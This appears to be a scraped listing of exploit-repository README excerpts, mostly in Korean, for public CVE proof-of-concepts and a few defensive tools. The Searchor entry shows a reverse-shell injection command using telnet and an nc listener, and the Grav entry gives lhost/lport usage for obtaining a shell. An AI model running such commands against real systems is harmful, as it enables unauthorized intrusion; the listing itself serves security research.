CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC Searchor --test 사용자 지정 명령 실행 대상 서버에서 임의의 명령을 실행합니다: python3 CVE-2023-43364.py -a "whoami" 예시: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls -la" 리버스 셸 사용자 머신에서 리스너를 시작합니다: nc -lvnp 4444...

CVE-2025-58434-PoC

CVE-2025-58434 PoC POST /api/v1/account/forgot-password를 트리거하는 Python PoC 스크립트입니다. ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요. 소유하지 않았거나 서면 허가 없이 테스트할 권한이 없는 시스템에 이 도구를 실행하는 것은 불법입니다. 크레딧 zaddy6 Isaac David arthurgervais Arthur Gervais 세부 정보 CVE-2025-58434에 대한 PoC 참조:...

mcpshield

mcpshield 패치되지 않은 MCP STDIO 명령 주입 결함CVE-2026-30623 계열, 2026년 4월 OX Security가 "설계상by design"으로 공개 -- SDK 패치는 제공되지 않음을 위한 드롭인 수정입니다. 한 줄만 임포트하면 Python 앱이 시작하는 모든 stdio MCP 서버는 OS가 프로세스를 생성하기 전에 명령/인자/env가 검증됩니다. 처음 방문했다면 먼저 범위를 읽고, 설치와 시작하기를 따라 하면 2분 안에 보호받을 수 있습니다. 목차 프로젝트 상태 범위 설치 시작하기 옵션 A: 자동 패...

CVE-2026-19650-CVE-2026-19478

cve-id 후원 PayPal 또는 아래 QR 코드를 스캔하여 이 프로젝트의 유지보수를 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 설정 예시: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux...

Global-Protect_VPN_Vuln

CVE-2024-3400 이 프로그램은 스크립트가 무한히 실행되는 상황을 방지하는 안전 기능을 포함하도록 개선되었습니다. 기본 스크립트는 retkoussa가 작성했으며, 여기에서 참조되었습니다. 이전 스크립트의 문제점: - 대상 서버가 연결을 재설정하면 스크립트가 실패하여 오류가 발생합니다. 변경 사항: TRY/EXCEPT 블록이 추가되었습니다. 사용 방법? 이 취약점에 대해 여러 서버를 테스트하는 경우 → 해당 서버는 PAN-OS를 기반으로 Global-Protect VPN을 사용하여 인증할 가능성이 높습니다. DNS 확인을...

CVE-2026-5426

CVE-2026-5426 ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 허가된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실험실 환경 공인된 침투 테스트 환경 예제 설정: git clone cd 예제 사용법: Test a single target for vulnerability python cve-2026-5426.py -t https://example.com Scan multiple targets from a file python cve-2026-5426.py -t targets.txt...

CVE-2026-5562-Exploit

CVE-2026-5562 익스플로잇 경고 이 저장소는 통제된 환경에서 노출 여부를 검증하기 위한 개념 증명PoC 연구 스크립트를 포함하고 있습니다. 연구 및 교육 목적으로만 사용해야 하며, 인가받지 않은 프로덕션 시스템에 사용해서는 안 됩니다. 요구 사항 설치 이 디렉터리에서 Python 의존성을 설치합니다: python3 -m pip install -r requirements.txt 명령줄 옵션 요청을 보내지 않고 내장 도움말을 표시합니다: python3 exploit.py --help Option| Required|...

CVE-2021-21425-RCE

이것은 제 버전입니다. 인터넷에서 많이 찾았지만 그것들은 너무 나빴습니다. 사용법 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 잠시.. 60초 후에 리스너에서 셸을 얻을 수 있습니다...

CVE-2026-39636-vulnerability-exp

1. Burp Suite must be opened before running here !! And the default Burp Suite port must be 8080. If it is different, you can change it yourself. 2. Download the required libraries pip install websockets==16.0 -i https://pypi.tuna.tsinghua.edu.cn/simple 3. Just run it directly CVE-2026-39363...

CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit

CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-com-corre-o-de-Bugs 이 익스플로잇은 Python 3를 지원하도록 수정되었습니다. CVE-2019-9053 원본 익스플로잇 출처: https://www.exploit-db.com/exploits/46635 가능한 오류 및 수정 Traceback most recent call last: File "46635.py", line 12, in from termcolor import colored ImportError: No module...

CVE-2026-33017-Langflow-RCE

CVE-2026-33017 - Langflow RCE 취약점 xpl0ited by infrar3d 이 개념 증명 익스플로잇은 1.9.0 이전 버전의 Langflow에서 발견된 중요한 원격 코드 실행RCE 취약점을 대상으로 합니다. 이 취약점은 인증되지 않은 공격자가 플로우 빌딩 API 엔드포인트를 통해 악성 Python 코드를 주입하여 임의의 시스템 명령을 실행할 수 있게 합니다. 취약점은 /api/v1/buildpublictmp/flowid/flow 엔드포인트에 존재하며, 이 엔드포인트는 컴포넌트 템플릿의 코드 필드에서 사용...

CIS GitLab Benchmark Scanner

CIS GitLab Benchmark 스캐너 - gitlabcis 배경 2024년 4월 17일, GitLab™은 자사의 Center for Internet Security® CIS GitLab Benchmark를 소개하는 블로그 게시물을 게시했습니다. 이는 제품의 보안을 개선하고 GitLab 고객에게 강화hardening 권장 사항을 제공하기 위한 목적입니다. Center for Internet Security® 웹사이트에 게시된 벤치마크 사본을 다운로드할 수 있습니다. "CIS GitLab Benchmark는 CIS와...

CVE-2026-39987-marimo-rce

CVE-2026-39987 - Marimo Pre-Auth RCE Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal 📌 Overview CVE-2026-39987 is a critical Pre-Authentication Remote Code Execution vulnerability affecting Marimo versions prior to 0.23.0. The /terminal/ws WebSocket endpoint completely...

CVE-2026-48907

CVE-2026-48907 TODO 자체 cve 초기화 ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실험실 설정 승인된 침투 테스트 환경 예제 설정: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate...

ntoskrnl-metadata

ntoskrnl-metadata Windows ntoskrnl.exe 이진 파일에서 중요 커널 메타데이터를 추출하기 위한 IDA Python 스크립트입니다. 이 도구는 CVE-2026-40369 및 기타 커널 취약점을 대상으로 하는 익스플로잇 개발에 필요한 함수 RVA와 EPROCESS 구조체 오프셋을 자동으로 추출합니다. 목적 이 도구는 익스플로잇 페이로드에 하드코딩해야 하는 버전별 커널 메타데이터를 자동으로 추출하여 CVE-2026-40369 에 대한 성공적인 익스플로잇을 컴파일하는 데 도움을 줍니다. 추출된 값은 다양한...

CVE-2025-4138_tarfile_filter_bypass

CVE-2025-4138 — Python tarfile filter="data" 우회 PATHMAX 심볼릭 링크 체인을 통한 추출 디렉터리 외부의 임의 파일 쓰기 영향을 받는 버전 Python 3.12.0 3.12.10 Python 3.13.0 3.13.3 3.12.11 / 3.13.4에서 수정됨 크레딧: 제보자: Caleb Brown Google 작동 방식 Python의 tarfile 데이터 필터는 os.path.realpath를 사용하여 심볼릭 링크 대상을 검증합니다. 확인된 경로가 PATHMAXLinux의 경우...

CVE-2021-41773-Apache-Lab

CVE-2021-41773 — Apache HTTP Server 2.4.49 실습 랩 Apache HTTP Server 2.4.49의 경로 탐색 취약점인 CVE-2021-41773 의 재현. 이 프로젝트는 Docker를 사용하여 격리된 취약한 환경을 만들고 Python PoC를 통해 통제된 파일 노출을 시연합니다. 안전: PoC는 localhost, 127.0.0.1, 또는 ::1 대상만 허용합니다. 테스트는 격리된 실습 환경 내에서만 수행해야 합니다. 목표 이 프로젝트는 다음을 시연합니다: Docker에서 Apache HTT...

CVE-2022-25477

CVE-2022-25477 ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 허가된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 허가된 침투 테스트 환경 예시 설정: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash ...

CVE-2023-23752

이것은 Joomla! v4.2.8 - Unauthenticated information disclosure 취약점의 Ruby 코드를 Python으로 변환한 것입니다. 이 코드는 ALEXANDRE ZANNI가 Ruby로 작성한 Exploit-DB의 코드입니다. 저는 Ruby 라이브러리에 몇 가지 문제가 있어서 이 코드를 Python으로 변환하기로 결정했고 잘 작동했습니다. Ruby 버전과 동일하게 작동합니다. 원본은 다음 링크에서 찾을 수 있습니다: https://www.exploit-db.com/exploits/51334...

CVE-2026-15410

cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate...